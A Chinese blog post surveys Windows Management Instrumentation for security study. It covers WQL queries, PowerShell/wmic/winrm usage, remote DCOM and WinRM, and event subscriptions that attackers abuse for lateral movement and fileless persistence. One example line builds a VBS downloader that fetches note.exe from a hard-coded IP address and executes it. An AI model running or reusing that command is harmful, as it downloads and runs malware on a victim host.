WMI攻击技术研究

1. WMI 简介

WMI 的全称是 Windows Management Instrumentation,即 Windows 管理规范,在 Windows 操作系统中,随着 WMI 技术的引入并在之后随着时间的推移而过时,它作为一项功能强大的技术,从 Windows NT 4.0 和 Windows 95 开始,始终保持其一致性。它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地远程的 Windows 系统

下面是操作系统版本中对应的 WMI 的版本

Nt 4.0 1.01
Sms 2.0 1.1
Win2000 1.5
WinXP/2003 2.0

0x1: WMI 体系结构

WMI是微软实现的由分布式管理任务组(DMTF)发布的基于 Web 的企业管理(WBEM)和公共信息模型(CIM)标准。这两个标准的目的是提供工业不可知论者手段,收集和传播在企业中有关的任何托管组件中的信,总体上说,我们可以把WMI的实现标准归类如下

1. 托管组件: 托管组件被表示为 WMI 对象,表示高度结构化的操作系统数据的类实例。微软提供了丰富的 WMI 对象用来与操作系统相关的信息进行通信。例如
    1) Win32_Process
    2) Win32_Service
    3) AntiVirusProduct
    4) Win32_StartupCommand

2. 使用 WMI 数据: 微软提供了几种方式来使用 WMI 数据和执行 WMI 方法。例如
    1) PowerShell API: 提供了一种非常简单的方式与 WMI 进行交互: Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process
    2) wmic.exe: windows
3. 查询 WMI 数据: 所有的WMI对象都使用类似于一个 SQL 查询的语言称为 WMI 查询语言(WQL)。 WQL 能够很好且细微的控制返回给用户的 WMI 对象,这点和Powershell这种面向对象的语言很类似
4. 填充 WMI 数据: 当用户请求特定的 WMI 对象时,WMI 服务 (Winmgmt) 需要知道如何填充被请求的 WMI 对象。这个过程是由 WMI 提供程序去实现的。WMI提供程序(本质上是一个COM组件程序)是一个基于 COM 的 DLL 文件,它包含一个在注册表中已经注册的相关联的 GUID。 WMI 提供程序的功能,例如
    1) 查询所有正在运行的进程
    2) 枚举注册表项
当 WMI 服务填充 WMI 对象时,有两种类型的类实例
    1) 动态对象: 动态对象是在特定查询执行时在运行过程中生成的。例如,Win32_Process 对象就是在运行过程中动态生成的
    2) 持久性对象: 持久性对象存储在位于 %SystemRoot%\System32\wbem\Repository\ 的 CIM(WMI公共信息模型 common information model,CMI) 数据库中,它存储着 WMI 类的实例,类的定义和命名空间的定义 

5. 结构化 WMI 数据: 绝大多数的 WMI 对象的架构是在托管对象格式 (MOF) 文件中描述的。MOF 文件使用类似于 C++ 的语法并为一个 WMI 对象提供架构。因此,尽管 WMI 提供程序产生了原始数据,但是 MOF 文件为其产生的数据提供了被格式化的模式(相当于web中的模版语言)。从安全维护人员的角度来看,值得注意的是, WMI 对象定义可以在没有 MOF 文件的情况下被创建。相反,他们可以使用 .NET 代码直接插入到 CIM 资料库中 

6. 远程传输 WMI 数据: Microsoft 提供了两个协议用于远程传输 WMI 数据:
    1) 分布式组件对象模型 (DCOM)
    2) Windows 远程管理 (WinRM) 

7. 执行 WMI 操作: 
    1) 部分 WMI 对象包括可执行的方法。例如攻击者进行横向运动时执行的一个常用方法是在 Win32_Process 类中的静态 Create 方法,此方法可以快速创建一个新的进程
    2) 另外 WMI 提供了一个事件系统,使用户可以使用注册事件处理函数进行创建,修改或删除任何 WMI 对象实例。例如用于监控进程创建事件并获得回调。我们可以使用WMI永久事件订阅(permanent event subscriptions)机制来触发特定操作。攻击者经常利用这个功能,在系统启动时执行后门程序,完成本地持久化
    WMI的事件订阅包含三个核心WMI类
    2.1) Filter(过滤器)类: WMI Filter用来定义触发Consumer的具体条件,包括系统启动、特定程序执行、特定时间间隔以及其他条件
    2.2) Consumer(消费者)类: WMI Consumer用来指定要执行的具体操作,包括执行命令、运行脚本、添加日志条目或者发送邮件
    2.3) FilterToConsumerBinding类: FilterToConsumerBinding用来将Consumer与Filter关联在一起。创建一个WMI永久事件订阅需要系统的管理员权限

Relevant Link:

 

2. WMI的类与命名空间

我们知道wmi的一大功能就是作为系统信息的数据库的封装。WMI 代表着大多数与操作系统信息以及以对象的形式操作有关的数据。一个 WMI 对象是高度结构化定义的信息被如何表示的类的实例,而且所有的 WMI 类都可以使用 WMI 查询语言 (WQL) 进行查询
由于WMI包含的信息非常多,因此winner使用命名空间的管理方式来进行层次式的管理
WMI 类的命名空间的层次结构非常类似于传统的,面向对象的编程语言的命名空间。所有的命名空间都派生自根命名空间,在用脚本语言查询对象并未显式指定命名空间时,微软使用 ROOT\CIMV2 作为默认的命名空间

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM

该注册表项中包含所有 WMI 设置,也包括已定义的默认命名空间,可以使用下面的 PowerShell 代码递归查询所有的 WMI 类和它们各自的命名空间

0x1: 查询 WMI

WMI 提供了一种简单的语法用于查询 WMI 对象实例、 类和命名空间 - WMI 查询语言(WQL),有三种类别的 WQL 查询

1. 实例查询(Object Queries): 用于查询 WMI 类的实例
2. 事件查询(Event Queries): 用于一个 WMI 事件注册机制,例如 WMI 对象的创建、 删除或修改
3. 元查询(Schema Queries): 用于查询 WMI 类架构

1. 实例查询

实例查询是最常见的用于获取 WMI 对象实例的 WQL 查询。需要注意的是,wmi query不能单独执行,要借助编程语言接口或windows api、powershell的wrapper来完成,例如

VB
strComputer = "." 
Set objWMIService = GetObject("winmgmts:\\" _
    & strComputer & "\root\CIMV2") 
Set objEvents = objWMIService.ExecNotificationQuery _
("SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE " & _
    "TargetInstance ISA 'Win32_Service'" & _
    " AND TargetInstance._Class = 'win32_TerminalService'")

i = TRUE
Do While i = TRUE
    Set strReceivedEvent = objEvents.NextEvent

    'report an event
    Wscript.Echo "An event has occurred."
Loop


借助wbemtest
Select * From Win32_Process 

Select * From Win32_Process 

Select * From Win32_Process 
Where ProcessId = 608 

Select * From Win32_Process 
Where Priority > 8 

Select * From Win32_Process 
Where WriteOperationCount < 1000 

Select * From Win32_Process Where ParentProcessId <> 884
Select * From Win32_Process Where ParentProcessId != 884
Select * From Win32_Process Where Not ParentProcessId = 884

Select * From Win32_Service 

Select * From Win32_Service 
Where Name = "MSSQL$SQLEXPRESS" 

Select * From Win32_Service 
Where DisplayName = "Plug and Play" 

Select * From Win32_Service 
Where PathName = "C:\\WINDOWS\\system32\\inetsrv\\inetinfo.exe" 

Select * From Win32_Service 
Where Name Like "%SQL%" 

Select * From Win32_Service 
Where Name > "M" And Name < "O" 

Select * From Win32_Service 
Where ExitCode = "1077" 

2. 事件查询

基于异步事件回调的通知机制。wmi支持我们订阅某些系统事件的回调通知

Select * From __InstanceCreationEvent 
Within 5 
Where TargetInstance Isa "Win32_Process"

Select * From __InstanceDeletionEvent 
Within 5 
Where TargetInstance Isa "Win32_Process" 
And TargetInstance.Name = "Notepad.exe" 

3. 元查询

Schema queries are used to get information about WMI itself and its structure.

Select * From Meta_Class 

Select * From Meta_Class 
Where __Class = "Win32_LogicalDisk" 

Select * From Meta_Class 
Where __Superclass Is Null 

Select * From Meta_Class 
Where __Superclass = "Win32_CurrentTime" 

Select * From Meta_Class 
Where __Dynasty = "Cim_Setting" 

Select * From Meta_Class 
Where __Class Like "Win32%" 

Select * From Meta_Class 
Where __This Isa "__Event" 

Relevant Link:

https://www.codeproject.com/Articles/46390/WMI-Query-Language-by-Example
https://msdn.microsoft.com/en-us/library/aa392902(v=vs.85).aspx

 

3. 与 WMI 进行交互

我们知道,WMI是基于windows COM组件实现的,我们要使用wmi的特性需要一个COM client wrapper,幸运的是Microsoft 和第三方供应商提供了丰富的客户端工具使您可以与 WMI 进行交互

0x1: PowerShell

PowerShell 是功能极其强大的脚本语言,包含了丰富的与 WMI 进行交互的功能。在漏洞利用过程中黑客可能把指令写入到一个ps1文件中执行,也可以直接基于powershell的一次性非交互指令来执行

Get processes on the local computer
powershell.exe Get-WmiObject -Class Win32_Process

Gets services on a remote computer
powershell.exe Get-WmiObject -Class Win32_Service -ComputerName 127.0.0.1

Get WMI classes in the root or default namespace of the local computer
powershell.exe Get-WmiObject -Namespace "root/default" -List

Get a named service on multiple computers
powershell.exe Get-WmiObject -Query "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status

Stop a service on a remote computer
powershell.exe (Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" -ComputerName Server01).StopService()

Get the BIOS on the local computer
powershell.exe Get-WmiObject -Class Win32_Bios | Format-List -Property

Get the services on a remote computer
powershell.exe Get-WmiObject Win32_Service -Credential FABRIKAM\administrator -Computer Fabrikam

0x2: VBS - Windows 脚本宿主(WSH)语言

Microsoft 提供了两个 WSH 脚本语言,VBScript 和 JScript。尽管它们比较过时,也算不上高雅的编程语言,但是说到与 WMI 进行交互时,它们的确都是功能强大的脚本语言。从攻击的角度来看, VBScript 和 JScript 是在未安装 PowerShell 的老版本的 Windows 系统上的最小公共程序

1. 直接执行vbs文件形式

strComputer = "." 
Set objWMIService = GetObject("winmgmts:\\" _
    & strComputer & "\root\CIMV2") 
Set objEvents = objWMIService.ExecNotificationQuery("Select * From __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_Process'")

i = TRUE
Do While i = TRUE
    Set strReceivedEvent = objEvents.NextEvent

    'report an event
    Wscript.Echo "An event has occurred."
Loop

执行指令

CScript 1.vbs

2.向磁盘文件写入payload

黑客在自动化入侵的时候,往往需要将攻击payload写入到磁盘vbs文件后然后再启动执行,例如

/bin/bash -c cmd /c echo Set xPost = CreateObject("Microsoft.XMLHTTP") > weqdown.vbs&@echo xPost.Open "GET","http://121.201.9.204:61432/note.exe",0 >> weqdown.vbs&@echo xPost.Send() >> weqdown.vbs&@echo Set sGet = CreateObject("ADODB.Stream") >> weqdown.vbs&@echo sGet.Mode = 3 >> weqdown.vbs&@echo sGet.Type = 1 >> weqdown.vbs&@echo sGet.Open() >>weqdown.vbs&@echo sGet.Write(xPost.responseBody) >>weqdown.vbs&@echo sGet.SaveToFile "c:/note.exe",2 >>weqdown.vbs&@cscript weqdown.vbs&@del weqdown.vbs&@start c:/note.exe

0x3: wmic.exe

wmic.exe 是一个与 WMI 进行交互的强大的命令行实用工具。它拥有大量的 WMI 对象的方便记忆的默认别名,但你还可以执行更为复杂的查询。wmic.exe 还可以执行 WMI 方法,攻击者经常用来通过调用 Win32_Process 的 Create 方法来进行横向运动。Wmic.exe 的局限性之一是不能接受调用嵌入的 WMI 对象的方法。在 PowerShell 不可用的情况下,使用 wmic.exe 足够用于执行系统侦察和基本方法的调用

WMIC extends WMI for operation from several command-line interfaces and through batch scripts. Before WMIC, you used WMI-based applications (such as SMS), the WMI Scripting API, or tools such as CIM Studio to manage WMI-enabled computers. Without a firm grasp on a programming language such as C++ or a scripting language such as VBScript and a basic understanding of the WMI namespace, do-it-yourself systems management with WMI was difficult. WMIC changes this situation by giving you a powerful, user-friendly interface to the WMI namespace.

WMIC is more intuitive than WMI, in large part because of aliases. Aliases take simple commands that you enter at the command line, then act upon the WMI namespace in a predefined way, such as constructing a complex WMI Query Language (WQL) command from a simple WMIC alias Get command. Thus, aliases act as friendly syntax intermediaries between you and the namespace. For example, when you run a simple WMIC command such as

useraccount list brief

不进入交互式界面,直接一次执行指令

wmic process where name='notepad.exe' call terminate

远程指令执行

wmic /node:127.0.0.1 printer list status

WMIC starts, uses the /node switch to establish a remote connection to SERVER1, and runs a command to display printer status information.

You can remotely access any WMI-enabled computer from any computer running WMIC. The computer you want to access doesn't require WMIC. For example, you can start WMIC from a computer running XP Professional Edition to manage a mix of computers running XP, Win2K, Windows NT 4.0, Windows Me, and Windows 9x.

因为wmic本质上还是一个WMI COM client,它向实现了WMI COM接口的远程服务器请求对应的接口函数,并得到返回结果

0x4: wbemtest.exe

wbemtest.exe 是一个功能强大的带有图形界面的 WMI 诊断工具。它能够枚举对象实例、执行查询、注册事件、修改 WMI 对象和类,并且可以在本地或远程去调用方法。它的接口对大多数用户来说不是特别友好,但从攻击者的角度来看,在其他工具不可用时,它完全可以作为替代选项

0x5: WMI Explorer

WMI Explorer 是一个很好的 WMI 类发现工具。它提供了一个优雅的 GUI (图 4 所示),你可以使用分层次的方式探索 WMI 存储库。它也能够连接到远程的 WMI 存储库,并执行查询

0x6: CIM Studio

CIM Studio 是 Microsoft 遗留的一个免费工具,你可以方便地浏览 WMI 存储库。像 WMI Explorer 一样,此工具也可以很好的进行 WMI 类发现

0x7: C/C++ 调用 IWbem* COM API

如果你需要使用非托管语言如 C 或 C++ 与 WMI 进行交互,你将需要使用 WMI 的 COM API

0x8: .NET System.Management 类

.NET 类库在 System.Management 命名空间中提供了几个与 WMI 相关的类,可以相对简单的使用如 C#、VB.Net 和 F# 语言编写与 WMI 交互的程序

0x9: winrm.exe

winrm.exe 可以在运行 WinRM 服务的本地和远程计算机上进行枚举 WMI 对象实例、调用方法,并创建和删除对象实例。也可以用 winrm.exe 来配置 WinRM 设置

winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe";CurrentDirectory="C:\"}
winrm enumerate http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process
winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_OperatingSystem

Relevant Link:

https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.management/get-wmiobject
http://www.cnblogs.com/LittleHann/p/4022669.html
https://ss64.com/ps/get-wmiobject.html
http://www.computerperformance.co.uk/powershell/powershell_wmi_filter.htm
https://technet.microsoft.com/en-us/library/bb490887.aspx
https://en.wikipedia.org/wiki/Windows_Script_Host
https://ss64.com/vb/cscript.html
https://msdn.microsoft.com/en-us/library/bb742610.aspx

 

4. 远程使用 WMI

由于 DCOM 和 WinRM 这两个协议的存在,将使得远程对象的查询,事件注册, WMI 类方法的执行,以及类的创建都能够被支持

0x1: 分布式组件对象模型 (DCOM)

从 DCOM 出现以来它一直是 WMI 所使用的默认协议,通过 TCP 的 135 端口建立初始连接。后续的数据交换则使用随机选定的 TCP 端口。可以通过 dcomcnfg.exe 并最终修改下面的注册表项来配置此端口的范围

HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet –Ports (REG_MULTI_SZ)

在 PowerShell 中内置的所有 WMI cmdlets 都是使用 DCOM 进行通信的

0x2: Windows 远程管理 (WinRM)

最近, WinRM 取代了 DCOM 并成为 Windows 推荐的远程管理协议。WinRM 的构建基于 Web 服务管理 (WSMan) 规范 —— 一种基于 SOAP 的设备管理协议。此外,PowerShell 的远程传输协议也是基于 WinRM 规范的,同时 PowerShell 提供了极其强大的 Windows 企业级的远程管理。WinRM 也支持 WMI,以及通过网络执行 CIM 操作
默认情况下,WinRM 服务监听的 TCP 端口是 5985 (HTTP),并且在默认情况下是加密的。还可以配置证书使其支持 HTTPS ,此时监听的 TCP 端口为 5986。
WinRM 的设置很容易配置,可以使用 GPO , winrm.exe ,或 PowerShell 中的 WSMan PSDrive 来配置 

 

5. WMI 事件

从攻击者或防御者的角度来看, WMI 最强大的功能之一就是对 WMI 事件的异步响应的能力。除了少数例外,WMI 事件几乎可以用于对操作系统的任何事件作出响应。例如,WMI 事件可能用于触发一个进程创建的事件。这种机制可随后被用作在任何 Windows 操作系统上执行命令行审计

0x1: 事件触发条件

要安装一个永久事件订阅,需要至少3个步骤

1. 事件筛选器 - 筛选出感兴趣的事件
2. 事件消费者 - 要在事件被触发时执行的操作
3. 消费者绑定筛选器 - 将筛选器绑定到消费者的注册机制

1. 事件筛选器

事件筛选器描述了感兴趣的事件并且执行了 WQL 事件查询。一旦系统管理员配置了筛选器,他们就可以使用它在创建新的事件时接收到通知,事件筛选器可能用于描述以下一些事件 

1. 创建一个具有特定名称的进程
2. 将 DLL 加载到进程中
3. 创建具有特定 ID 的事件日志
4. 插入可移动媒体
5. 用户注销
6. 创建、修改、删除任何文件或目录

事件筛选器都被存储为一个 ROOT\subscription:__EventFilter 对象的实例。事件筛选器查询支持以下类型的事件

1. 内部事件: 内部事件表示的是创建、修改和删除任何 WMI 类,对象或命名空间的事件。它们也可被用于计时器或 WMI 方法执行的警报。以下内部事件采用了系统类 (以两个下划线开头的那些) 的形式,并存在于每一个 WMI 命名空间:
__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodInvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent
这些事件的作用非常强大,因为它们可以被用于在操作系统中几乎任何可以想见的事件的触发器 
由于触发的内部事件有一定的频率,所以必须在 WQL 查询语句的 WITHIN 子句中指定事件轮询间隔(WMI是轮询方式去获取内部事件的)。这就是说,它有时可能错过事件。例如,如果事件查询的形式目的是创建 WMI 类的实例,如果该实例的创建和销毁 (如常见的一些进程 —— Win32_Process 实例) 在轮询间隔内,那么则会错过这一事件。创建内部 WMI 查询时,必须考虑这种可能出现的情况
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2

2. 外部事件: 外部事件解决了和内部事件有关的潜在的轮询问题,因为它们在事件发生时立刻被触发。然而美中不足的是在 WMI 中并没有太多的外部事件,不过,所有已经存在的外部事件的作用很强大,性能也很高。下面的外部事件对于攻击者和防御者来说可能是有用的
ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_IP4RouteTableEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumeChangeEvent
ROOT\CIMV2: Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
以下外部事件查询形式可以用来捕获每一个进程已加载的所有可执行模块(用户模式和内核模式)
SELECT * FROM Win32_ModuleLoadTrace

2. 事件消费者

事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。系统提供了以下有用的标准事件消费类

1. LogFileEventConsumer - 将事件数据写入到指定的日志文件
2. ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload(不需要落盘文件)
3. NTEventLogEventConsumer - 创建一个包含事件数据的事件日志条目
4. SMTPEventConsumer - 发送一封包含事件数据的电子邮件
5. CommandLineEventConsumer - 执行一个命令行程序

攻击者在响应他们的事件时,大量使用 ActiveScriptEventConsumer 和 CommandLineEventConsumer 类。这两个事件消费者为攻击者提供了极大的灵活性去执行他们想要执行的任何 payload 并且无需写入一个恶意的可执行文件或脚本到磁盘

0x2: 基于WMI异步事件的恶意的 WMI 持久化

 
posted @ 2019-01-25 20:00  郑瀚Andrew  阅读(1201)  评论(0编辑  收藏  举报